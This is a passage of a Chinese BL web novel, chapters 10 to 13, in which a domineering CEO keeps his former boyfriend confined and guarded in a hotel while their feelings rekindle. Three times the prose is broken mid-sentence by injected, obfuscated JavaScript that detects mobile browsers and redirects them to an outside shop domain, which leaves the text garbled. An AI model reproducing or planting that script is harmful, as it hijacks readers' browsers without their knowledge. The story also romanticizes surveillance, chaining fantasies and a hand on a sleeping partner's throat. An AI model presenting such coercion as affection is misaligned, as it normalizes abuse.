徐茂也注意到了这辆车,只见黑色车窗缓缓降下来,露出一张英俊但冷若冰霜的脸,眼神也跟冰刀子似的。 徐茂转回脸看向沈玉,发现他的表情不太对:“小玉,你认识?” 沈玉迟疑了一下,点头:“认识。” “哦这你老板啊?”徐茂后知后觉地反应过来,语气惊讶道,“你没说你老板长得这么帅啊?” 沈玉:“......” 帅吗?拿人性换的。 车里的人似乎等得不耐烦了,又没素质地鸣了一声笛。 “我先走了茂茂,下次见。”沈玉跟好友道完别,硬着头皮走到迈巴赫旁,打开车后座门。 刚坐进去,耳畔就响起段尧冰冷但莫名阴阳怪气的声音:“这么依依不舍?” 沈玉:“?” 10. 第 10 章 车窗外是黑沉沉的夜,车内气氛几近凝固。 沈玉不太能摸得准段尧到底是什么意思,下意识解释道:“没有啊,那个是我之前在酒吧兼职时认识的朋友。” 明明只是跟朋友正常告别而已,哪有依依不舍这么夸张? “没有?”段尧冷笑一声,“我要是不来,你是不是还打算跟那位前同事彻夜畅聊?” 前同事三个字,刻意咬得很重。 “那倒也不至于......”沈玉的求生欲再次上线,十分详尽地向段总汇报今日行踪,“我上午十点出发,到出租屋十一点多,收拾完再吃个饭都快两三点了,跟茂茂一起喝了杯咖啡天就黑了,就想着干脆吃完晚饭再回去。” 段尧侧过眼眸:“茂茂?” 沈玉还没觉出有什么不对:“对啊茂茂,他全名叫徐茂。” 段尧闭了闭眼,重新转回脸看向窗外。 借着车窗外一闪而过的光亮,沈玉偷偷看了他一眼。 段尧应该是刚从某个会议上下来,身上还穿着笔挺的西服套装,此刻眉头微皱,下颌线绷得很紧,薄唇也抿成一条直线,侧脸看起来很帅,也很是冷硬。 “段尧。”沈玉小声叫他,试图缓和下气氛,“你不是要出差四天吗,怎么才一天半就回来了?” 段尧一点反应都没有,仿佛他是在跟空气说话。 “段总?”沈玉伸出罪恶的小手,轻轻戳了下硬邦邦的手臂肌肉,“你是不是因为我没接电话,以为我又跑了,所以才特意赶回来的?” 段尧还是没理他,放在膝盖上的手指却不易察觉地收紧了。 沈玉心下了然,放软了声音哄道:“你就放心吧,我不会跑的。” 段尧怔了怔,拧起的眉心不自觉舒展开来。 但他还没来及开口,就听沈玉继续补充道:“我们不是已经签过协议了嘛,两千万我是真的赔不起,所以我肯定不会跑的。” 段尧咬了下后槽牙,伸手掐住他的脸颊,看着他的眼睛一字一句说道:“你最好记住你自己说的话,否则不管你逃到哪里,我都会把你抓回来。” 沈玉不自觉咽了下口水:“我知道的......” 虽然他不明白段尧都走到如今这个位置了,为什么还对报复他这件事有这么大的执念,但他相信段尧绝对说到做到。 “你最好是。”段尧松开手,开始闭目养神。 沈玉心里悄悄松了一口气,心道这关总算是过了。 他转脸看向车窗外,这才发现车开的这条路好像不太对:“等等,我们不是要回家吗?” 段尧连眼皮都没动一下,冷冷回道:“出差还没结束,明早有个会,我要连夜赶回去。” 沈玉抬手指着自己:“但是我也要去吗?” 段尧睁眼看他,一切尽在不言中。 沈玉只能露出一个标准的微笑,改口道:“太好了,能陪段总一起出差,真是我的荣幸。” 段尧看了他两秒,收回视线,就好像他的脸有多么不忍直视似的。 * 抵达酒店时,已经是深夜了。 段尧的助理提前等在酒店大堂,一见他们就迎上来:“段总,沈先生。” 沈玉礼貌地点了点头:“你好。” “段总,是这样的,由于您通知的时间有一点晚,酒店里的房间都被订满了。”方助理语气抱歉,“如果需要的话,我马上在附近其他酒店订一间房,还是说沈先生一起住段总的套间就行呢?” 沈玉看了眼段尧:“我倒是不介意,就是不知道段总介不介意。” 同为打工人,他很同情方助理,这么晚了还在这等突然发癫的老板下指令。 而且深更半夜的,他也实在懒得折腾了,酒店套间都是有客厅的,大不了他睡沙发,让尊贵的段总睡大床。 段尧看了他一眼,面无表情道:“跟我上来。” 总统套间在顶楼,段尧推开房门,示意沈玉先进去。 沈玉也没客气,进去后四下打量了一圈,目光锁定了客厅里的大沙发。 这沙发够大,睡两个成年人都不在话下。 沈玉把背上的书包放下来,坐到沙发上试了试软硬度,随后请示道:“段总,我今晚就睡这个沙发可以吗?” 段尧正在脱西装外套,闻言动作微顿,淡淡回道:“随你。” 沈玉应声:“好的,那我就睡沙发了。” 他当然知道段尧只是客套一下,他可不敢说那段总我要睡那张豪华大床,你睡沙发吧。 “先去洗澡。”段尧走到吧台前,倒了杯水,“我还有个线上会议要开。” 沈玉脱口而出道:“这么晚了你还要开会,不怕员工在屏幕那头骂你吗?” 段尧:“跨国会议。” “哦不好意思,原来有时差啊......”沈玉尴尬地站起身来,转移话题道,“那我先去洗澡了。” 他往浴室方向走,走了两步忽然想起一个重要的问题:“等一下,我忘了我没带换洗衣服过来。” 段尧没说话,走进衣帽间,从里面取出两件自己的衣服,走到他面前:“先穿着,明早再去买新衣服。” 沈玉有些犹豫:“不用了吧……” "内|裤是新的,没穿过。"段尧目光上下扫了他一眼:“还是说,你喜欢裸睡?” “不不不,不喜欢!”沈玉连连摇头,乖乖接过衣服,“那我现在就去洗澡了,你开会吧,不打扰你了。” 段尧站在原地,看着他落荒而逃的背影,唇角微不可查地扬了扬。 等沈玉洗完澡,拿起衣架上的衣服时才发现,段尧只给他拿了衬衫和内|裤,居然没给他拿裤子。 还好内|裤是四角的,目测尺码比他日常穿的大,勉强能当短裤穿吧。 沈玉穿上那件白色衬衫,衬衫穿在他身上很宽松,闻起来还有淡淡的香味,和段尧身上的味道如出一辙。 他忍不住想起五年前的自己,当时他真的很喜欢穿段尧的衣服,哪怕是校服也要抢对方的穿才香。 只是那时候他们的身材差不多,互穿衣服没什么违和感,现在的他穿起段尧的衬衫竟然长了这么多,偏偏底下又没穿裤子,看起来就跟没穿似的。 沈玉对着镜子左看看右看看,耳朵尖悄悄红了。 他就这么穿出去的话,段尧会不会觉得他在勾引自己啊,下衣失踪什么的...... 沈玉在浴室里磨磨蹭蹭了半天,最终还是推门出去了。 段尧正坐在沙发上处理工作,腿上放着电脑,听到动静抬起头,整个人忽然像是被定住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393097|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈玉站在浴室门口,刚洗完澡,脸蛋被热气熏得白里透粉,头发湿漉漉地搭在额前,发尾还在滴水,顺着好看的脖颈线条往下落在锁骨上,又消失在衬衫领口里。 他的白衬衫穿在沈玉身上像条衬衫裙,宽松的领口将锁骨全暴露在外面,袖子也长出一截,袖口卷了两道起来,露出纤细的手腕。 视线一路往下,衬衫下摆堪堪遮住了略带肉感的大腿根,露出一点黑色内|裤的边缘,两条匀称的腿又长又直,白得晃眼,膝盖处却透着一股淡淡的粉意。 “那个......你好像忘了给我拿裤子。”沈玉感受到他的目光,不自在地用手指扯了下衬衫下摆,小声请求道,“可以再给我拿一条裤子吗?” 段尧看着他的小动作,本就漆黑的双眸愈发幽沉得吓人。 沈玉感觉自己的耳根又要烧起来了,转身往衣帽间方向走:“你在忙的话,我就自己去拿了。” “站着。”段尧终于开口了,声音有点哑,低得像是从胸腔里硬生生挤出来的。 沈玉只好站在原地,又扯了下衬衫下摆。 很快,段尧取出来一条休闲裤,还有一条毛巾,随手将毛巾盖到他头上:“头发吹干了再睡。” “好的。”沈玉应声,抱着毛巾和裤子往沙发方向走去。 他站在沙发前,背对着段尧,弯腰将裤子往腿上套。 白色衬衫紧紧贴着清瘦的脊背,勾勒出劲瘦的腰,随着抬腿的动作绷出浑圆饱满的臀部线条。 段尧倏地转过身,几大步走进浴室里,“砰”地一声关上门。 沈玉扭头看了一眼浴室方向,小声嘟囔了一句:“怎么好好的又生气了......” 他穿好裤子,空荡荡的下半身终于有了安全感,又拿吹风机简单吹了下头发,最后抱着抱枕躺到沙发上。 他想起刚才段尧一副无动于衷的反应,看来是真对他一点兴趣都没有啊。 果然,他一开始的担心根本就是多余的...... 段尧在浴室里待了很久,久到出来时,躺在沙发上的人已经睡着了。 他悄无声息地走过去,单膝跪在沙发前。 沈玉睡相一如既往地差,衬衫领口被拉得更大了,半边锁骨和胸口皮肤都露在外面,在柔和的壁灯下散发出莹润的光泽。 段尧喉结滚动了下,伸出一只手,带着凉气的指尖虚虚描摹过薄薄的眼皮,眼下那颗小小的泪痣,最后来到微微张开的唇瓣。 在沈玉今天失联的四个小时里,他做好了最坏的打算,那就是人又跑了 。 就像五年前一样。 段尧在心里发誓,这次抓回来,他一定要把人关起来,用锁链扣住,锁在床上哪里都不能去,目光只能看着他一个人,只能讨好他,依赖他,任由他做任何想做的事。 偏偏这一次,沈玉没有给他这个机会。 但是重逢以来,每次面对他都只有虚情假意的人,怎么可以对一个不相干的人露出那样动人的笑容,甚至还让别人动作亲昵地摸头? 段尧盯着眼前安睡的脸,向来平静幽深的眼眸深处涌起一股阴沉戾气。 修长有力的大手慢慢往下滑,停留在白皙脆弱的脖颈处。 只要稍稍用力,他就可以把熟睡的人弄醒,粗暴地,毫不留情地...... 11. 第 11 章 段尧的手悬停在那截脖颈上,手指微微收紧,指尖几乎触到了温润如玉的肌肤。 就在这时,睡梦中的沈玉动了动,无意识地抬手抓住那只大手,当作抱枕一样抱在脸颊旁。 凉凉的鼻尖碰到段尧的掌心,像只爱撒娇的小猫似的蹭了蹭,然后找到一个舒服的角度,又睡过去了。 段尧的心跳漏了一拍,手也僵在那里一动不敢动,像是生怕给好梦的小猫惊醒了。 他就那样半跪在沙发前,好半晌后,确定沈玉睡熟了,才将自己的手轻轻抽出来。 他站起身,再弯腰将人从沙发上抱起来。 沈玉的脑袋抵在他的肩窝里,头发毛绒绒地蹭着他的皮肤,温热的呼吸喷洒在他的胸口,一下一下的,令他心口发烫。 段尧低头看了一眼,认命般缓步走进卧室,动作很轻地将人放到大床上。 沈玉身体挨到床垫的一刹那,微微皱了下眉,手指在空气中抓了一下,攥住了他的衣领。 段尧没有动,他就那样弯着腰,双手撑在沈玉身体两侧,维持着极其别扭的姿势,目不转睛地盯着身下的人看。 像是要那张漂亮但无情的脸盯穿了,又像是要用眼睛将他的眼睛、鼻子、嘴巴都牢牢刻进心底。 又过了不知多久,沈玉的手指慢慢松开了。 段尧直起腰身,将被子拉上来,盖到他的肩膀上。 沈玉翻了个身,哼哼唧唧一声,将脸埋进枕头里,呼吸声平稳而绵长。 段尧低下头,看着他从被子底下露出的一只脚,圆润可爱的脚趾微微蜷着,白嫩的脚心在灯光下白得发光,脚后跟却泛着一层薄粉,看起来像是花瓣落了下来。 他魔怔般地伸出手,小心地握住了那只脚,放在手心里。 似乎是感受到了他手上的凉意,沈玉本能地缩回脚,躲回了被子底下。 段尧收拢手指,深呼吸一口气,转身又去了客厅的卫生间。 * 沈玉早上醒过来时,发现自己不知什么时候又睡到了床上。 他坐起上半身,神情有些发懵。 不是吧,他怎么睡得那么死,什么时候又被段尧扛回了床上,竟然一点知觉都没有? 沈玉掀开被子下床,踩着拖鞋走出卧室,空荡荡的客厅里一个人影都没有,显然段总已经去忙正事了。 沈玉走到沙发前,拿起手机看了眼,屏幕又黑了。 “笃笃笃”,门上响起了敲门声。 沈玉放下手机去开门,一个酒店服务员推着餐车站在门口,微笑着说道:“您好,沈先生,这是段先生提前吩咐给您准备的早餐。” “好的,谢谢。”沈玉侧过身让服务员进来,这时才看见走廊上还站着一个面无表情的黑色西装男,戴着耳麦,站得笔直,像一尊门神。 沈玉下意识往后仰了仰:“你是……” “沈先生您好,我是段总的保镖,段总让我来保护您。”黑衣保镖回答的语调毫无起伏。 “保护?”沈玉眨了下眼睫,“保护什么?” 保镖回道:“这是段总给我的指令。” “段——你们段总现在人在哪里?”沈玉放弃跟保镖沟通,“如果方便的话,我想跟他通话。” 保镖侧了一下头,耳麦里隐约传来两句说话声,他低声说了句收到,然后看向沈玉:“段总说,您今天在酒店里休息,如果有任何需要的东西,我会帮您准备。” 沈玉有点被气笑了:“什么意思啊,这到底是保护还是监视?” 保镖遇到难回答的问题又不回答了,只知道复读机一样重复道:“这是段总给我的指令。” 沈玉:“……” “沈先生,您的早餐已经摆好了,祝您有一个愉快的早餐时间!”服务生推着餐车又出来了。 沈玉笑了下,往后退一步,用力关上了门。 合着他这是从被关在别墅里,改成被关在酒店里了。 早知道还不如不来,至少别墅地方够大,还有容姨陪他说话。 酒店提供的早餐很丰盛,沈玉吃完早餐后,就抱着抱枕坐在沙发上看电视。 他的手机没电了,但他懒得去找人要充电器,反正现在除了段尧也没人会找他。 至于段尧就更不用担心了,门口那个门神保镖肯定会向他报告自己的一举一动。 看电视,吃东西,累了就睡一会儿,醒了继续吃东西,一天的时间就这么被消磨掉了。 落地窗外夜色朦胧时,走廊上终于有了动静。 沈玉像猫一样警觉,光着脚落地,想起上次被骂的事,又把脚塞进了拖鞋里,重新坐回沙发上。 “嘀”的一声,门打开了。 段尧走进来,身上穿着套深色西装,衬衫领口扣到最上面一颗,领带也系得一丝不苟。 他脸上没什么表情,薄唇习惯性抿成一条线,进门第一眼扫过客厅,在沈玉脸上停了两秒才移开。 “段总,您终于回来了。”沈玉露出一个微笑,关切地询问道,“今天工作还顺利吗?” 段尧将手里的纸袋子放到玄关的柜子上,不紧不慢地脱下西装外套:“嗯。” 沈玉起身走到他身后,从他手里接过西装外套挂上衣架:“开了一天的会,辛苦了。” 段尧回头看他:“想要什么?” 一眼就被看穿目的,沈玉干笑了两声:“没有,只是觉得我在这里又帮不上什么忙,不如……让我先回去?” “你就在这待着。”段尧语气平静,却明显没有讨价还价的余地。 沈玉忍不住小发了下雷霆:“可是我一个人待在酒店里真的很无聊啊!” 段尧抬手松了下领结,眼睛一直看着他。 沈玉被盯怂了,垂下眼睫妥协道:“好吧,我就在这待着。” 段尧拿起柜子上的纸袋子,递给他:“拿着。” “什么东西?”沈玉接过袋子,从里面掏出一个盒子,翻过来看了眼,“手机?” 段尧已经转身朝客厅方向走去了,边走边说:“你那部破手机,早点扔了。” 沈玉拆开手机盒一看,生了一天的气消了一大半。 最新款,全新,顶配,还是他最喜欢的蓝色。 沈玉忘了自己还在生气,坐在沙发上摆弄新手机。 段尧喝了两口水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393098|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先进浴室洗澡去了。 等他洗完澡出来,沈玉还抱着手机在玩,听到动静抬起眼眸,愣了一下。 段尧穿了件浴袍出来,头发湿漉漉地搭下来,和往常一身西装革履大背头的模样是不同的气质,多了几分年轻和朝气。 恍惚间,沈玉仿佛看见了五年前的少年段尧。 段尧朝沙发走过来:“看什么?” “啊?”沈玉回过神来,收回视线,“啊没……没看什么。” 段尧也没追问,只是在他旁边坐下,拿起茶几上的遥控器打开电视。 沈玉放下手机,发自内心地道谢:“段尧,谢谢你送我的手机。” 一码归一码,虽然段尧关着他很过分,但送他手机也值得他好好感谢一番。 “不用。”段尧侧眸看了他一眼,“以后别再接不到我的电话就行。” 沈玉点头答应:“你放心吧,新手机电池好着呢,不会随便关机了。” “嗯。”段尧应了声,目光落在电视屏幕上。 沈玉可没心思看电视,忍不住用眼角余光偷偷看身旁的人。 下颌线锋利的侧脸在电视屏幕散发的光里忽明忽暗,还是一如既往地英俊。 沈玉一直都知道自己是个颜控,偏偏段尧就长了张完全符合他审美的脸。 他又偷看了一眼,忽然发现黑色发梢有水珠滴下来,落在浴袍的领口上,洇出一小块深色。 他忍不住开口提醒道:“段尧,你头发还在滴水。” 段尧无动于衷道:“没事。” 沈玉想了想,起身去浴室拿了条干毛巾回来,绕过沙发来到他身后,轻声说道:“我给你擦擦头发吧。” 段尧没说话,算是默认了。 沈玉低着头,开始认真地给他擦头发,从发顶到发梢,力道又轻又重的,还时不时扯到他的头皮。 但段尧一声没吭,也没有躲。 擦着擦着,沈玉的目光不经意往下落,忽然顿了一下。 段尧身上穿的浴袍带子没系紧,胸口微微敞开,从他的视角隐约能看见胸肌的轮廓,还有水珠子顺着沟壑往下流。 沈玉抿了下唇,不受控制地回忆起短暂接触过那里的手感。 段尧到底是怎么在如此繁忙的行程中,还有时间把身材练得这么好的? 难道健身这种事,也要看天赋吗? “怎么停了?”耳畔响起低沉磁性的嗓音。 沈玉摇了摇头,将脑子里的胡思乱想都甩出去,小声回道:“擦得差不多了。” 段尧应了声:“好。” 沈玉收起毛巾,又从沙发前面绕出去。 就在他经过段尧身前时,莫名其妙被什么东西绊了一下。 “哎?”他低呼一声,身体不受控制地往前扑去。 电光火石之间,段尧伸手一把握住他的手臂,将他往沙发上拉去。 沈玉只觉自己的脸撞进了什么很有弹性的东西里,温热的,鼓胀的,软软的很快又变得硬硬的。 下一秒,他突然意识到了什么。 等等!他该不会是…… 埋进段尧的胸肌里了吧?! 12. 第 12 章 沈玉大脑宕机了,一动不动地趴在段尧胸前。 他好像听见了心跳声,“咚、咚、咚……” 一下比一下重,一下比一下急,震得他耳朵发麻,心脏也跟着疯狂跳动起来。 直到头顶上方传来低沉微哑的嗓音:“趴够了没?” 沈玉打了个激灵,立刻手忙脚乱地想从他身上爬起来,结果混乱中一只手又按到了硬邦邦的腹肌上。 段尧闷哼一声:“沈玉。” 沈玉赶紧收手往后退,慌慌忙忙中整个人差点摔下沙发。 幸好段尧眼疾手快,又伸手扶了他一把。 “谢谢……”沈玉耳根发烫,眼神四处乱飞就是不敢直视对方,“对不起,我刚刚不是故意埋你——不是,我是说我是不小心摔倒的。” 段尧看着他,语气说不上来是什么意味:“是吗?” “真的!”沈玉急着证明自己并非趁机埋胸,指着沙发前的地毯说道,“我刚刚就是在这里被绊了一下。” 结果地毯上干干净净,什么东西都没有。 沈玉顿时更心虚了,转身就往卧室方向跑:“那个我先去睡觉了!” 段尧坐在沙发上,目光跟着他的背影移动,直到消失在门后,才不紧不慢地抬手收拢了浴袍领口。 沈玉一口气冲进浴室里,关上门,背靠着玻璃门,心跳还是很快。 他抬起手捂住自己的脸颊,烫的很,从指尖一直烫到掌根。 虽然他是一直惦记着想摸摸段尧的肌肉没错,但绝对不是以这种方式…… 约莫二十分钟后,沈玉洗好澡,情绪也平复下来。 他走回客厅,离沙发远远站着:“段尧,我要睡觉了。” 段尧抬眸看他一眼:“你睡你的,我还有工作。” “不是,我要睡沙发。”沈玉往沙发方向挪了两步,“你回卧室工作可以吗?” 段尧回道:“你去卧室睡。” 沈玉张了张嘴想说什么,但段尧又重新低下头看向电脑,好像很忙的样子。 没办法,他只好转身回到卧室。 沈玉躺在卧室的大床上,将被子拉到胸口,眼睛盯着天花板,并没有什么睡意。 段尧为什么要让他睡床,等会儿忙完了是直接睡沙发,还是会进来和他睡在一张床上呢? 他们已经好多年没有同睡一张床了,他的睡相这么差,如果今晚同床共枕的话,段尧肯定不会像以前那样忍着他了吧,说不定会一脚给他踹下去。 沈玉翻了个身,脑海里又浮现出刚才在沙发上的一幕。 虽然他趴在段尧胸前的时间很短,但胸肌的触感是真的好好,还有他听见的心跳声怎么那么快啊…… 沈玉就这么胡思乱想着,不知道什么时候睡了过去。 凌晨一点,段尧阖上电脑,起身朝卧室方向走去。 卧室门关得严严实实的,他动作很小心地拧开房门。 床头的灯开着,躺在床上的人睡得很香,被子又被掀开推到了一边。 段尧悄无声息地走过去,伸手给他盖好被子,站在床边看着那张安静的睡颜。 过去的每一个夜晚,他结束工作回到家后,都要通过那扇隐藏的门穿进隔壁卧室,就像今晚这样。 他知道如果有一天沈玉发现了,可能会被吓到,但他控制不住自己。 他必须通过这种方式,一次次地确认,眼前这个人是真的回到他身边了。 * 第二天早上,沈玉醒过来的时候,床上还是只有他一个人。 他松了一口气,心头又涌起一股小小的失落感。 果然段尧还是不愿意跟他睡一张床,哪怕工作完只能睡沙发。 沈玉起床洗漱,打开房门时看见昨天那个黑衣保镖站在走廊上,依然像个门神。 他无奈地叹了口气,重新关上房门。 他要怎么样才能让段尧相信,他是真的不会再跑了? 吃完客房服务送来的午餐,沈玉在套房里四下转了一圈,又躺回沙发上继续玩手机。 边玩手机边忧心忡忡地想着,这样无所事事的日子再过下去,他可能又要一朝回到解放前了。 大概下午两三点时,沈玉突然听见开门的声音。 他立刻起身跳下沙发,光着脚跑到玄关前:“段尧,你回来了!” 段尧一打开门,那张漂亮的脸就闯进了他的视线里。 沈玉眼睛亮亮地望着他,就像一只被关了一整天的小猫,终于等到主人回家来开门,高兴得尾巴都翘起来了:“今天结束得好早呀。” 段尧心口猝然被撞了一下,掩饰般垂下视线,看见他光着脚,又微微皱了下眉:“穿鞋。” “哦,好。”沈玉应一声,乖乖跑回沙发前去穿鞋。 穿完鞋,他又围到段尧身边:“段总,你下午还有其他事吗?” 段尧喝水的动作顿了下:“没事。” “如果你下午没事的话,我们能不能出去走走啊?”沈玉满眼期待地看着他,“好不容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393099|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来一趟,一直待在酒店里好闷。” 段尧继续喝水,没说好也没说不好。 沈玉想了想,试图跟他打商量:“如果你累的话就在酒店里休息,我一个人去也行的。” 段尧放下水杯:“不行。” 沈玉双手交握举在胸前,做出“拜托拜托”的手势:“我保证不乱跑,天一黑就回来,好嘛?” 段尧沉默了两秒:“你想去哪儿?” 沈玉想去的是市中心的一个老街区,他一个人在酒店玩手机时刷到的。 老旧的居民楼,窄窄的巷子,青石板路两边的老房子开着小店,卖什么的都有。 沈玉走在前面,看到什么都想凑过去看看,等人家问他想不想买的时候,他又笑着摆摆手走了。 段尧没什么表情地跟在他身后,只是从出酒店开始,目光一刻也没有从他身上移开。 自从重逢以来,他第一次在沈玉脸上见到这样发自内心的笑容,很快乐,也很耀眼,就像从前一样。 “哎找到了,就是这家!”沈玉停在一家卖桂花糕的店铺门口,转头说道,“网上好多推荐这家桂花糕的,据说很好吃,我想买几块尝尝。” 段尧应了声:“嗯。” 沈玉买了四块桂花糕,拿到手就迫不及待地拿出一块,咬了一口。 桂花的香气混合着米香香气,带着丝丝清香,口感蓬松暄软,米糕上头撒干桂花,还浇了桂花糖浆,香香糯糯,甜而不腻,好吃得他眼睛都微微眯了起来。 站在一旁的段尧自觉付完款,冷不丁问道:“有那么好吃吗?” “好吃啊!”沈玉从纸袋子里挑了一块最大的桂花糕,递到他嘴边,“你尝尝就知道了。” 段尧看着他的手,没有要张嘴的意思。 沈玉忽然反应过来:“抱歉,忘记你不喜欢吃甜食了。” 说起来他和段尧有很多迥然不同的喜好,比如他从小就喜欢吃甜食,越甜越粘牙越喜欢,但段尧一直都不爱吃甜的。 以前他太过任性,总爱逼着段尧吃他自己喜欢吃的东西,如今这个坏习惯应该好好改改了。 想到这里,沈玉马上收回手,却被一只大手拦住了。 段尧握着那截纤瘦的手腕,慢慢将桂花糕往自己唇边送。 沈玉愣住了,任由对方就着他的手,张嘴咬了口桂花糕。 段尧抬起眼眸,盯着他的眼睛:“很甜。” 沈玉触电般缩回手,莫名觉得脸有点热:“是、是吧,很甜……” 13. 第 13 章 段尧没说话,那双漆黑幽的眼眸里隐隐有一丝笑意掠过。 可惜沈玉已经转过脸,随手将手里还剩下的半块桂花糕塞进嘴里。 段尧看着他,冷不丁又来了句:“你手上的那块,我咬过。” 沈玉咀嚼的动作停了,左边脸颊被塞满的桂花糕顶得鼓起来,呆愣愣的样子可爱得要命。 这回换段尧先移开目光:“走吧。” 沈玉后知后觉地反应过来,他们刚才吃了同一块桂花糕,这算是…… 间接接吻了? 沈玉觉得自己的脸真烧起来了,可能比巷子尽头天空的那片火烧云还要红。 桂花的香味还在空气里飘着,嘴里也是桂花糕的味道,甜丝丝的,黏糊糊的,好像怎么都散不掉。 后半程沈玉显然比刚出来时要安静得多,两人边走边逛,直到天快黑了,七拐八拐地走进一条巷子。 巷子尽头开着一家小饭馆,店不大,但人蛮多。 段尧已经很久没来这种街边小馆子吃饭了,他看了眼周边的环境,低声问道:“你确定要在这里吃?” “确定啊,这家店也有好多人推荐的。”沈玉熟练地拆开桌子上摆放的餐具,又拿起旁边的热水壶烫了下碗筷,推到对面,“用开水给你烫了下,放心用吧。” 段尧看着他的动作,难以控制地想起了以前。 那时候沈玉连路边摊是什么都不知道,有一次看别人在吃烧烤,心血来潮也想尝尝,却又嫌弃烧烤店看起来不干净,最后让人在自家别墅后院搭了个烧烤架。 当然沈小少爷是不可能会亲自动手烧烤的,小少爷只会坐在旁边的椅子上,眼巴巴地看着他烤,烤一串投喂一串,像只嘴馋又懒的小猫。 而现在,沈玉坐在用透明胶带粘着的塑料凳子上,面前是包浆的分不清本来是什么颜色的桌子,甚至亲手给他烫了碗筷。 这一刻,段尧无比清晰地认识到,这五年,不仅很多事面目全非,他面前的人也变了很多。 “哎,就是这个味道。”老板娘端着菜上来了,沈玉吸了下鼻子,“闻着就好香啊,你先尝尝好不好吃。” 段尧不动声色地收回思绪,拿起筷子夹了块回锅肉放进嘴里。 回锅肉出乎预料的好吃,大锅现炒的菜锅气很足,用的酱料也很香,比家常菜味道更重一点。 段尧淡淡评价道:“还行。” “还行吧?”沈玉笑眯眯地拿起筷子,“还行就多吃点。” 两人只点了四个菜,但菜的分量实在太足了,最后还剩了一些。 吃完饭,沈玉抢着扫码结了账:“今天你请我吃桂花糕,我就请你吃饭吧。” 虽然他兜里钱不多,但一顿饭还是请得起的。 段尧没跟他争,沉默地跟在他身后走出店门。 “段尧,有只小猫!”沈玉一眼看见店门前有一只小橘猫,忍不住蹲下身去摸了摸。 这只小橘猫很亲人,不仅没跑掉还把尾巴卷到他手腕上,被他摸得“咕噜咕噜”叫。 沈玉越摸越起劲,抬眸时眼睛亮亮的:“段尧,你喜欢小猫吗?” 段尧垂眸和他对视,好几秒后才问道:“你想养它?” “算了。”沈玉收回手,站起身来,“也许小橘猫已经有主人了呢,我们走吧。” 就算小橘猫没有主人他也不能养,他自己都还在寄人篱下呢,怎么养得起小猫呢? * 回到酒店,沈玉先去浴室洗了个澡。 段尧还要处理工作,他洗完澡后自觉爬到卧室的大床上,趴着玩手机。 大概十一点多,沈玉耳尖地听见客厅有动静,似乎是段尧从沙发上起来活动了。 他起身下床,穿着拖鞋走出房间,果然看见段尧正站在岛台前喝水。 沈玉轻声问道:“忙完工作了吗?” 段尧喉结滚动,咽下口中的水:“嗯。” 沈玉犹豫了一下,继续问道:“你今晚睡哪里呀?” 段尧:“沙发。” “老是睡沙发也不舒服吧。”沈玉声音很小,发虚的尾音飘在半空中,“要不你跟我一起睡床吧,这床很大的……” 虽然他不明白段尧这两天为什么不多开一间房,但说到底是他鸠占鹊巢,霸占了段尧的豪华大床。 段尧放下水杯,看着他的目光幽深莫测:“你在邀请我?” “不不不——不是!”沈玉连忙摇头,严肃澄清道,“我的意思是床很大,我俩一人睡一半床也完全够了。” 段尧站在原地没动,不知道在想些什么 沈玉有点受不住他的注视,转身逃回了卧室。 真是的,又不是没有一起睡过,不知道在害怕些什么,难道是怕他会强行扑上去吗? 他才没有那么不矜持呢! 沈玉重新躺回床上,翻来覆去还是睡不着。 过了一会儿,他听门把手被人拧动了,“吱呀”一声,房门开了。 段尧穿着浴袍走进房间,径直朝大床边走过来。 沈玉怔了怔,回神后马上往床沿边挪过去,又伸手拿起放在床边沙发上的备用枕头,放到大床中间。 段尧脚步微顿:“你在干什么?” “我睡相不好,这你是知道的。”沈玉认真解释道,“在我们俩中间放一个枕头,可以防止我半夜那啥……越界。” 段尧看了他一眼,走到床边躺下去。 床垫微微塌陷了一下,很快便重新回弹起来。 沈玉翻了个身,背对着身后的人侧睡。 他把脸埋进了枕头里,耳朵却露在外面,悄悄听着段尧的呼吸声。 “往中间睡一点。”段尧低低开口道,“别掉床底下去了,我还要捞你上来。” “哦……”沈玉应声,老老实实地往床中间挪了两寸,差点就碰到了放在中间的枕头。 两人之间的距离近了一点,他能闻到段尧身上的味道,只有干净清爽的木质茶香,没有那股淡淡的烟草味。 他一直以为那是段尧用的香水味,没想到其实是沐浴露,此刻他身上也有同样的味道。 沈玉想着想着,没头没脑地说了句:“你的沐浴露挺好闻的。” 段尧沉默着偏过头,视线里有一颗毛茸茸的脑袋,后脑勺很圆,微长的发尾搭在纤长的后颈上,露出的皮肤白得发光 